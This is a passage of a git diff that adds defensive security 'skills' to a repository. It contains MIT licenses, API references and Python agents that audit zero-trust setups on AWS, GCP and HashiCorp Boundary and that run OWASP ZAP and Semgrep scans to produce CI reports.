EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-trust-network-access/references/api-reference.md b/skills/implementing-zero-trust-network-access/references/api-reference.md new file mode 100644 index 00000000..078eafee --- /dev/null +++ b/skills/implementing-zero-trust-network-access/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Implementing Zero Trust Network Access + +## AWS Verified Access API + +| Operation | Description | +|-----------|-------------| +| `ec2.create_verified_access_instance()` | Create a Verified Access instance for ZTNA | +| `ec2.create_verified_access_trust_provider()` | Register OIDC or device trust provider | +| `ec2.create_verified_access_group()` | Create access group with Cedar policy | +| `ec2.create_verified_access_endpoint()` | Expose internal app through Verified Access | +| `ec2.describe_verified_access_instances()` | List all Verified Access instances | +| `ec2.modify_verified_access_instance_logging_configuration()` | Enable CloudWatch or S3 logging | + +## GCP Identity-Aware Proxy API + +| Operation | Description | +|-----------|-------------| +| `gcloud iap web enable` | Enable IAP on App Engine or backend service | +| `gcloud iap web add-iam-policy-binding` | Grant IAP access to users or groups | +| `gcloud access-context-manager levels create` | Create device/context access levels | +| `compute.backendServices.get()` | Check IAP status on backend services | + +## Azure Conditional Access (MS Graph) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/identity/conditionalAccess/policies` | POST | Create conditional access policy | +| `/identity/conditionalAccess/policies/{id}` | PATCH | Update policy conditions or grants | +| `/identity/conditionalAccess/namedLocations` | GET | List trusted network locations | + +## AWS Security Groups (Micro-Segmentation) + +| Operation | Description | +|-----------|-------------| +| `ec2.describe_security_groups()` | Audit ingress/egress rules for open CIDR ranges | +| `ec2.authorize_security_group_ingress()` | Add least-privilege ingress rule by source SG | +| `ec2.revoke_security_group_ingress()` | Remove overly permissive rules | + +## Key Libraries + +- **boto3**: AWS SDK for Python — Verified Access and EC2 security group APIs +- **google-cloud-compute**: GCP Compute client for backend service IAP checks +- **azure-identity + azure-mgmt-network**: Azure Private Endpoint management +- **msgraph-sdk**: Microsoft Graph SDK for Conditional Access policies + +## Configuration + +| Variable | Description | +|----------|-------------| +| `AWS_PROFILE` | AWS CLI profile with `ec2:Describe*` and `ec2:Create*` permissions | +| `GOOGLE_CLOUD_PROJECT` | GCP project ID for IAP configuration | +| `AZURE_TENANT_ID` | Azure AD tenant for Conditional Access policies | + +## References + +- [AWS Verified Access Documentation](https://docs.aws.amazon.com/verified-access/) +- [GCP Identity-Aware Proxy](https://cloud.google.com/iap/docs) +- [Azure Conditional Access](https://learn.microsoft.com/en-us/entra/identity/conditional-access/) +- [BeyondCorp Enterprise](https://cloud.google.com/beyondcorp-enterprise/docs) diff --git a/skills/implementing-zero-trust-network-access/scripts/agent.py b/skills/implementing-zero-trust-network-access/scripts/agent.py new file mode 100644 index 00000000..d9426657 --- /dev/null +++ b/skills/implementing-zero-trust-network-access/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +""" +Zero Trust Network Access (ZTNA) Assessment Agent +Evaluates ZTNA readiness across AWS, Azure, and GCP by checking IAP configs, +Verified Access endpoints, conditional access policies, and micro-segmentation. +""" + +import json +import subprocess +import sys +from datetime import datetime, timezone + + +def run_cmd(cmd: list[str]) -> dict: + """Execute a shell command and return structured output.""" + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + return {"success": result.returncode == 0, "stdout": result.stdout, "stderr": result.stderr} + except Exception as e: + return {"success": False, "stdout": "", "stderr": str(e)} + + +def check_aws_verified_access() -> dict: + """Enumerate AWS Verified Access instances, groups, and endpoints.""" + findings = {"instances": [], "groups": [], "endpoints": [], "issues": []} + + result = run_cmd(["aws", "ec2", "describe-verified-access-instances", "--output", "json"]) + if result["success"]: + data = json.loads(result["stdout"]) + for inst in data.get("VerifiedAccessInstances", []): + inst_id = inst["VerifiedAccessInstanceId"] + trust_providers = inst.get("VerifiedAccessTrustProviders", []) + findings["instances"].append({ + "id": inst_id, + "trust_providers": len(trust_providers), + "logging_enabled": inst.get("LoggingConfiguration", {}).get("CloudWatchLogs", {}).get("Enabled", False), + }) + if not trust_providers: + findings["issues"].append(f"Instance {inst_id} has no trust providers attached") + + result = run_cmd(["aws", "ec2", "describe-verified-access-groups", "--output", "json"]) + if result["success"]: + data = json.loads(result["stdout"]) + for grp in data.get("VerifiedAccessGroups", []): + grp_id = grp["VerifiedAccessGroupId"] + has_policy = bool(grp.get("PolicyDocument")) + findings["groups"].append({"id": grp_id, "has_policy": has_policy}) + if not has_policy: + findings["issues"].append(f"Group {grp_id} has no access policy defined") + + result = run_cmd(["aws", "ec2", "describe-verified-access-endpoints", "--output", "json"]) + if result["success"]: + data = json.loads(result["stdout"]) + for ep in data.get("VerifiedAccessEndpoints", []): + findings["endpoints"].append({ + "id": ep["VerifiedAccessEndpointId"], + "type": ep.get("EndpointType", "unknown"), + "domain": ep.get("ApplicationDomain", ""), + "status": ep.get("Status", {}).get("Code", "unknown"), + }) + + return findings + + +def check_aws_security_groups_segmentation(vpc_id: str) -> dict: + """Check for overly permissive security groups that undermine micro-segmentation.""" + findings = {"total_sgs": 0, "overly_permissive": [], "issues": []} + + result = run_cmd([ + "aws", "ec2", "describe-security-groups", + "--filters", f"Name=vpc-id,Values={vpc_id}", + "--output", "json" + ]) + if not result["success"]: + return findings + + data = json.loads(result["stdout"]) + sgs = data.get("SecurityGroups", []) + findings["total_sgs"] = len(sgs) + + for sg in sgs: + sg_id = sg["GroupId"] + sg_name = sg.get("GroupName", "") + for perm in sg.get("IpPermissions", []): + for ip_range in perm.get("IpRanges", []): + if ip_range.get("CidrIp") == "0.0.0.0/0": + port = perm.get("FromPort", "all") + findings["overly_permissive"].append({ + "sg_id": sg_id, + "sg_name": sg_name, + "port": port, + "cidr": "0.0.0.0/0", + }) + findings["issues"].append( + f"SG {sg_id} ({sg_name}) allows 0.0.0.0/0 on port {port}" + ) + return findings + + +def check_gcp_iap_status(project_id: str) -> dict: + """Check GCP Identity-Aware Proxy configuration.""" + findings = {"iap_enabled_backends": [], "issues": []} + + result = run_cmd([ + "gcloud", "compute", "backend-services", "list", + "--project", project_id, "--format=json" + ]) + if result["success"]: + backends = json.loads(result["stdout"]) + for backend in backends: + name = backend.get("name", "") + iap = backend.get("iap", {}) + iap_enabled = iap.get("enabled", False) + findings["iap_enabled_backends"].append({"name": name, "iap_enabled": iap_enabled}) + if not iap_enabled: + findings["issues"].append(f"Backend service '{name}' does not have IAP enabled") + + return findings + + +def generate_ztna_report(aws_va: dict, aws_sg: dict, gcp_iap: dict) -> str: + """Generate a ZTNA assessment report.""" + timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") + all_issues = aws_va["issues"] + aws_sg["issues"] + gcp_iap["issues"] + + report_lines = [ + "Zero Trust Network Access Assessment Report", + "=" * 50, + f"Assessment Date: {timestamp}", + "", + "AWS Verified Access:", + f" Instances: {len(aws_va['instances'])}", + f" Access Groups: {len(aws_va['groups'])}", + f" Endpoints: {len(aws_va['endpoints'])}", + "", + "AWS Micro-Segmentation:", + f" Security Groups Evaluated: {aws_sg['total_sgs']}", + f" Overly Permissive Rules: {len(aws_sg['overly_permissive'])}", + "", + "GCP Identity-Aware Proxy:", + f" Backend Services: {len(gcp_iap['iap_enabled_backends'])}", + f" IAP-Enabled: {sum(1 for b in gcp_iap['iap_enabled_backends'] if b['iap_enabled'])}", + "", + f"Total Issues Found: {len(all_issues)}", + "-" * 40, + ] + for i, issue in enumerate(all_issues, 1): + report_lines.append(f" [{i}] {issue}") + + return "\n".join(report_lines) + + +if __name__ == "__main__": + print("[*] Starting Zero Trust Network Access assessment...") + vpc_id = sys.argv[1] if len(sys.argv) > 1 else "vpc-default" + gcp_project = sys.argv[2] if len(sys.argv) > 2 else "my-project" + + aws_va = check_aws_verified_access() + aws_sg = check_aws_security_groups_segmentation(vpc_id) + gcp_iap = check_gcp_iap_status(gcp_project) + + report = generate_ztna_report(aws_va, aws_sg, gcp_iap) + print(report) + + output_file = f"ztna_assessment_{datetime.now(timezone.utc).strftime('%Y%m%d_%H%M%S')}.json" + with open(output_file, "w") as f: + json.dump({"aws_verified_access": aws_va, "aws_segmentation": aws_sg, "gcp_iap": gcp_iap}, f, indent=2) + print(f"\n[*] Detailed results saved to {output_file}") diff --git a/skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE b/skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md b/skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md new file mode 100644 index 00000000..e52030cc --- /dev/null +++ b/skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: HashiCorp Boundary + +## Boundary CLI (JSON output) + +### Core Commands +```bash +boundary scopes list -scope-id=global -format=json +boundary targets list -scope-id= -format=json +boundary host-catalogs list -scope-id= -format=json +boundary credential-stores list -scope-id= -format=json +boundary sessions list -scope-id= -format=json +boundary auth-methods list -scope-id=global -format=json +``` + +### Environment Variables +| Variable | Description | +|----------|-------------| +| `BOUNDARY_ADDR` | Controller address (e.g., `http://127.0.0.1:9200`) | +| `BOUNDARY_TOKEN` | Authentication token | + +### Target Fields +| Field | Description | +|-------|-------------| +| `name` | Target display name | +| `type` | `tcp` or `ssh` | +| `session_max_seconds` | Maximum session duration | +| `session_connection_limit` | Max concurrent connections (-1 = unlimited) | + +### Credential Store Types +| Type | Description | +|------|-------------| +| `vault` | Vault-brokered dynamic credentials (recommended) | +| `static` | Static credentials stored in Boundary | + +### Auth Method Types +| Type | Zero Trust Suitability | +|------|----------------------| +| `oidc` | Recommended (SSO, MFA support) | +| `ldap` | Acceptable with MFA | +| `password` | Not recommended for zero trust | + +### Session Recording +```bash +boundary targets update tcp -id= -enable-session-recording=true \ + -storage-bucket-id= +``` + +## References +- Boundary docs: https://developer.hashicorp.com/boundary/docs +- Boundary CLI: https://developer.hashicorp.com/boundary/docs/commands +- Boundary API: https://developer.hashicorp.com/boundary/api-docs diff --git a/skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py b/skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py new file mode 100644 index 00000000..1ab4d65a --- /dev/null +++ b/skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""Agent for auditing HashiCorp Boundary zero trust access configuration.""" + +import subprocess +import json +import argparse +import sys +from datetime import datetime, timezone + + +def run_boundary_cmd(args_list, addr, token): + """Execute a boundary CLI command and return parsed JSON.""" + env_vars = {"BOUNDARY_ADDR": addr, "BOUNDARY_TOKEN": token} + cmd = ["boundary"] + args_list + ["-format=json"] + result = subprocess.run(cmd, capture_output=True, text=True, env={**dict(__import__('os').environ), **env_vars}, timeout=30) + if result.returncode != 0: + print(f" [-] Error: {result.stderr.strip()[:200]}") + return {} + return json.loads(result.stdout) if result.stdout else {} + + +def list_scopes(addr, token): + """List organization and project scopes.""" + data = run_boundary_cmd(["scopes", "list", "-scope-id=global"], addr, token) + scopes = data.get("items", []) + print(f"[*] Scopes: {len(scopes)}") + for s in scopes: + print(f" {s.get('id')}: {s.get('name', 'unnamed')} (type={s.get('type')})") + return scopes + + +def list_targets(addr, token, scope_id): + """List targets (resources users can connect to) in a scope.""" + data = run_boundary_cmd(["targets", "list", f"-scope-id={scope_id}"], addr, token) + targets = data.get("items", []) + findings = [] + print(f"\n[*] Targets in scope {scope_id}: {len(targets)}") + for t in targets: + session_max = t.get("session_max_seconds", 0) + conn_limit = t.get("session_connection_limit", -1) + print(f" {t.get('name')}: type={t.get('type')}, " + f"max_sec={session_max}, conn_limit={conn_limit}") + if conn_limit == -1: + findings.append({"target": t.get("name"), "issue": "Unlimited connections", + "severity": "MEDIUM"}) + if session_max == 0 or session_max > 28800: + findings.append({"target": t.get("name"), + "issue": f"Long session timeout ({session_max}s)", "severity": "HIGH"}) + return targets, findings + + +def list_host_catalogs(addr, token, scope_id): + """List host catalogs (static or dynamic).""" + data = run_boundary_cmd(["host-catalogs", "list", f"-scope-id={scope_id}"], addr, token) + catalogs = data.get("items", []) + print(f"\n[*] Host Catalogs in scope {scope_id}: {len(catalogs)}") + for c in catalogs: + print(f" {c.get('id')}: {c.get('name', 'unnamed')} (type={c.get('type')})") + return catalogs + + +def list_credential_stores(addr, token, scope_id): + """List credential stores (Vault integration check).""" + data = run_boundary_cmd(["credential-stores", "list", f"-scope-id={scope_id}"], addr, token) + stores = data.get("items", []) + print(f"\n[*] Credential Stores in scope {scope_id}: {len(stores)}") + vault_stores = [s for s in stores if s.get("type") == "vault"] + static_stores = [s for s in stores if s.get("type") == "static"] + print(f" Vault-backed: {len(vault_stores)}, Static: {len(static_stores)}") + findings = [] + if static_stores: + for s in static_stores: + findings.append({"store": s.get("name"), "type": "static", + "issue": "Static credentials (not Vault-brokered)", "severity": "MEDIUM"}) + return stores, findings + + +def list_sessions(addr, token, scope_id): + """List active sessions for audit.""" + data = run_boundary_cmd(["sessions", "list", f"-scope-id={scope_id}"], addr, token) + sessions = data.get("items", []) + print(f"\n[*] Active Sessions in scope {scope_id}: {len(sessions)}") + for s in sessions[:10]: + print(f" {s.get('id')[:12]}... user={s.get('user_id', 'N/A')} " + f"target={s.get('target_id', 'N/A')} status={s.get('status')}") + return sessions + + +def check_auth_methods(addr, token, scope_id="global"): + """Audit configured authentication methods.""" + data = run_boundary_cmd(["auth-methods", "list", f"-scope-id={scope_id}"], addr, token) + methods = data.get("items", []) + findings = [] + print(f"\n[*] Auth Methods: {len(methods)}") + for m in methods: + mtype = m.get("type", "unknown") + print(f" {m.get('name', 'unnamed')}: type={mtype}") + if mtype == "password": + findings.append({"method": m.get("name"), "type": mtype, + "issue": "Password-only auth (use OIDC for zero trust)", "severity": "HIGH"}) + return methods, findings + + +def generate_report(target_findings, cred_findings, auth_findings, output_path): + """Generate Boundary audit report.""" + all_findings = target_findings + cred_findings + auth_findings + report = { + "audit_date": datetime.now(timezone.utc).isoformat(), + "total_findings": len(all_findings), + "target_findings": target_findings, + "credential_findings": cred_findings, + "auth_findings": auth_findings, + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="HashiCorp Boundary Zero Trust Audit Agent") + parser.add_argument("action", choices=["scopes", "targets", "hosts", "creds", + "sessions", "auth", "full-audit"]) + parser.add_argument("--addr", required=True, help="Boundary controller address") + parser.add_argument("--token", required=True, help="Boundary auth token") + parser.add_argument("--scope-id", default="global", help="Scope ID to audit") + parser.add_argument("-o", "--output", default="boundary_audit.json") + args = parser.parse_args() + + if args.action == "scopes": + list_scopes(args.addr, args.token) + elif args.action == "targets": + list_targets(args.addr, args.token, args.scope_id) + elif args.action == "hosts": + list_host_catalogs(args.addr, args.token, args.scope_id) + elif args.action == "creds": + list_credential_stores(args.addr, args.token, args.scope_id) + elif args.action == "sessions": + list_sessions(args.addr, args.token, args.scope_id) + elif args.action == "auth": + check_auth_methods(args.addr, args.token) + elif args.action == "full-audit": + scopes = list_scopes(args.addr, args.token) + all_tf, all_cf, all_af = [], [], [] + _, af = check_auth_methods(args.addr, args.token) + all_af.extend(af) + for s in scopes: + sid = s.get("id") + _, tf = list_targets(args.addr, args.token, sid) + all_tf.extend(tf) + _, cf = list_credential_stores(args.addr, args.token, sid) + all_cf.extend(cf) + list_sessions(args.addr, args.token, sid) + generate_report(all_tf, all_cf, all_af, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE b/skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md b/skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md new file mode 100644 index 00000000..18f87933 --- /dev/null +++ b/skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: OWASP ZAP DAST Pipeline Integration + +## ZAP Docker Scan Scripts + +### Baseline Scan (Passive Only) +```bash +docker run --rm -v $(pwd):/zap/wrk zaproxy/zap-stable \ + zap-baseline.py -t https://target.com -J report.json -I +``` + +### Full Scan (Active + Passive) +```bash +docker run --rm -v $(pwd):/zap/wrk zaproxy/zap-stable \ + zap-full-scan.py -t https://target.com -J report.json -m 5 -I +``` + +### API Scan (OpenAPI/Swagger) +```bash +docker run --rm -v $(pwd):/zap/wrk zaproxy/zap-stable \ + zap-api-scan.py -t https://target.com/openapi.json -f openapi -J report.json +``` + +### Return Codes +| Code | Meaning | +|------|---------| +| 0 | No alerts above threshold | +| 1 | Warnings found | +| 2 | Failures found | + +### Common Flags +| Flag | Description | +|------|-------------| +| `-t` | Target URL | +| `-J` | JSON report filename | +| `-m` | Max scan duration in minutes | +| `-I` | Do not return failure on warnings | +| `-f` | API spec format (`openapi`, `soap`) | +| `-r` | HTML report filename | +| `-c` | Config file for rule tuning | + +## ZAP JSON Report Structure +```json +{"site": [{"alerts": [{"name": "...", "riskdesc": "High (Medium)", + "cweid": "79", "count": 3, "solution": "..."}]}]} +``` + +### Risk Levels +| Level | Action | +|-------|--------| +| High | Block deployment | +| Medium | Require review | +| Low | Track as tech debt | +| Informational | Log only | + +## References +- ZAP Docker: https://www.zaproxy.org/docs/docker/ +- ZAP Automation: https://www.zaproxy.org/docs/automate/ diff --git a/skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py b/skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py new file mode 100644 index 00000000..82d279f8 --- /dev/null +++ b/skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 +"""Agent for running OWASP ZAP DAST scans and parsing results for CI/CD integration.""" + +import subprocess +import json +import argparse +import sys +import os +from datetime import datetime + + +def run_baseline_scan(target_url, output_dir): + """Run ZAP baseline scan (passive only, fast).""" + print(f"[*] Running ZAP baseline scan on {target_url}...") + report_path = os.path.join(output_dir, "zap_baseline.json") + cmd = ["docker", "run", "--rm", "-v", f"{os.path.abspath(output_dir)}:/zap/wrk", + "zaproxy/zap-stable", "zap-baseline.py", "-t", target_url, + "-J", "zap_baseline.json", "-I"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + print(f" Return code: {result.returncode} (0=pass, 1=warn, 2=fail)") + return report_path, result.returncode + + +def run_full_scan(target_url, output_dir, mins=5): + """Run ZAP full scan (active + passive, slower).""" + print(f"[*] Running ZAP full scan on {target_url} ({mins} min)...") + report_path = os.path.join(output_dir, "zap_full.json") + cmd = ["docker", "run", "--rm", "-v", f"{os.path.abspath(output_dir)}:/zap/wrk", + "zaproxy/zap-stable", "zap-full-scan.py", "-t", target_url, + "-J", "zap_full.json", "-m", str(mins), "-I"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=mins * 120) + print(f" Return code: {result.returncode}") + return report_path, result.returncode + + +def run_api_scan(target_spec, output_dir, spec_format="openapi"): + """Run ZAP API scan against an OpenAPI/Swagger spec.""" + print(f"[*] Running ZAP API scan with {spec_format} spec...") + report_path = os.path.join(output_dir, "zap_api.json") + cmd = ["docker", "run", "--rm", "-v", f"{os.path.abspath(output_dir)}:/zap/wrk", + "zaproxy/zap-stable", "zap-api-scan.py", "-t", target_spec, + "-f", spec_format, "-J", "zap_api.json", "-I"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + print(f" Return code: {result.returncode}") + return report_path, result.returncode + + +def parse_zap_report(report_path): + """Parse ZAP JSON report and extract findings by risk level.""" + if not os.path.exists(report_path): + print(f" [-] Report not found: {report_path}") + return [] + with open(report_path) as f: + data = json.load(f) + alerts = [] + for site in data.get("site", []): + for alert in site.get("alerts", []): + alerts.append({ + "name": alert.get("name"), "risk": alert.get("riskdesc", "").split()[0], + "confidence": alert.get("confidence"), "count": alert.get("count", 0), + "cweid": alert.get("cweid"), "wascid": alert.get("wascid"), + "solution": alert.get("solution", "")[:200], + }) + risk_counts = {} + for a in alerts: + risk_counts[a["risk"]] = risk_counts.get(a["risk"], 0) + 1 + print(f"\n[*] Findings: {len(alerts)} unique alerts") + for risk, count in sorted(risk_counts.items()): + print(f" {risk}: {count}") + return alerts + + +def apply_quality_gate(alerts, fail_on="High"): + """Apply quality gate: fail if findings at or above threshold.""" + severity_order = {"Informational": 0, "Low": 1, "Medium": 2, "High": 3} + threshold = severity_order.get(fail_on, 3) + blocking = [a for a in alerts if severity_order.get(a.get("risk", ""), 0) >= threshold] + if blocking: + print(f"\n[!] QUALITY GATE FAILED: {len(blocking)} findings at {fail_on}+ severity") + for b in blocking[:5]: + print(f" - {b['risk']}: {b['name']}") + return False + print(f"\n[+] Quality gate passed (threshold: {fail_on})") + return True + + +def generate_sarif(alerts, output_path): + """Convert ZAP findings to SARIF format for GitHub Advanced Security.""" + rules, results = [], [] + for i, a in enumerate(alerts): + rule_id = f"ZAP-{a.get('cweid', i)}" + rules.append({"id": rule_id, "shortDescription": {"text": a["name"]}, + "defaultConfiguration": {"level": "warning"}}) + results.append({"ruleId": rule_id, "message": {"text": a["name"]}, + "level": "warning" if a["risk"] != "High" else "error"}) + sarif = {"$schema": "https://json.schemastore.org/sarif-2.1.0.json", "version": "2.1.0", + "runs": [{"tool": {"driver": {"name": "OWASP ZAP", "rules": rules}}, + "results": results}]} + with open(output_path, "w") as f: + json.dump(sarif, f, indent=2) + print(f"[*] SARIF report: {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="OWASP ZAP DAST Pipeline Agent") + parser.add_argument("action", choices=["baseline", "full", "api", "parse", "gate"]) + parser.add_argument("--target", help="Target URL or API spec URL") + parser.add_argument("--report", help="Path to existing ZAP JSON report") + parser.add_argument("--fail-on", default="High", choices=["Low", "Medium", "High"]) + parser.add_argument("--scan-mins", type=int, default=5) + parser.add_argument("-o", "--output", default=".") + args = parser.parse_args() + + os.makedirs(args.output, exist_ok=True) + if args.action == "baseline": + rpt, _ = run_baseline_scan(args.target, args.output) + alerts = parse_zap_report(rpt) + apply_quality_gate(alerts, args.fail_on) + elif args.action == "full": + rpt, _ = run_full_scan(args.target, args.output, args.scan_mins) + alerts = parse_zap_report(rpt) + apply_quality_gate(alerts, args.fail_on) + elif args.action == "api": + rpt, _ = run_api_scan(args.target, args.output) + alerts = parse_zap_report(rpt) + apply_quality_gate(alerts, args.fail_on) + elif args.action == "parse": + alerts = parse_zap_report(args.report) + generate_sarif(alerts, os.path.join(args.output, "zap.sarif")) + elif args.action == "gate": + alerts = parse_zap_report(args.report) + passed = apply_quality_gate(alerts, args.fail_on) + sys.exit(0 if passed else 1) + + +if __name__ == "__main__": + main() diff --git a/skills/integrating-sast-into-github-actions-pipeline/LICENSE b/skills/integrating-sast-into-github-actions-pipeline/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/integrating-sast-into-github-actions-pipeline/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md b/skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md new file mode 100644 index 00000000..9e735613 --- /dev/null +++ b/skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: SAST in GitHub Actions Pipeline + +## Semgrep CLI + +### Installation +```bash +pip install semgrep +``` + +### Scan Commands +```bash +semgrep scan --config auto --json . # Auto-detect rules +semgrep scan --config p/owasp-top-ten --json . # OWASP rules +semgrep scan --config p/ci --sarif . # CI-optimized rules +``` + +### JSON Output Structure +```json +{"results": [{"check_id": "rule-id", "path": "file.py", + "start": {"line": 10}, "extra": {"severity": "ERROR", + "message": "...", "metadata": {"cwe": ["CWE-89"], "owasp": ["A03"]}}}]} +``` + +### Severity Levels +| Level | Action | +|-------|--------| +| ERROR | Block merge | +| WARNING | Require review | +| INFO | Advisory only | + +## GitHub Actions Integration + +### Semgrep Action +```yaml +- uses: returntocorp/semgrep-action@v1 + with: + config: auto + generateSarif: "1" +``` + +### SARIF Upload +```yaml +- uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: semgrep.sarif +``` + +### SARIF 2.1.0 Schema +| Field | Description | +|-------|-------------| +| `runs[].tool.driver.name` | Scanner name | +| `runs[].tool.driver.rules` | Rule definitions | +| `runs[].results` | Finding instances | +| `results[].ruleId` | Matching rule ID | +| `results[].level` | `error`, `warning`, `note` | + +## References +- Semgrep: https://semgrep.dev/docs/ +- GitHub Code Scanning: https://docs.github.com/en/code-security/code-scanning +- SARIF spec: https://docs.oasis-open.org/sarif/sarif/v2.1.0/ diff --git a/skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py b/skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py new file mode 100644 index 00000000..374666b8 --- /dev/null +++ b/skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +"""Agent for running Semgrep SAST scans and generating SARIF for GitHub Advanced Security.""" + +import subprocess +import json +import argparse +import sys +import os +from datetime import datetime + + +def run_semgrep_scan(target_dir, config="auto", output_format="json"): + """Run Semgrep SAST scan on a code directory.""" + print(f"[*] Running Semgrep scan on {target_dir} (config={config})...") + cmd = ["semgrep", "scan", "--config", config, "--json", "--no-git", target_dir] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + if result.returncode not in (0, 1): + print(f" [-] Semgrep error: {result.stderr[:300]}") + return {} + data = json.loads(result.stdout) if result.stdout else {} + results = data.get("results", []) + errors = data.get("errors", []) + print(f" Findings: {len(results)}, Errors: {len(errors)}") + return data + + +def parse_semgrep_results(scan_data): + """Parse Semgrep findings into structured format.""" + results = scan_data.get("results", []) + findings = [] + severity_counts = {} + for r in results: + severity = r.get("extra", {}).get("severity", "WARNING") + finding = { + "rule_id": r.get("check_id", "unknown"), + "message": r.get("extra", {}).get("message", ""), + "severity": severity, + "file": r.get("path", ""), + "line": r.get("start", {}).get("line", 0), + "cwe": r.get("extra", 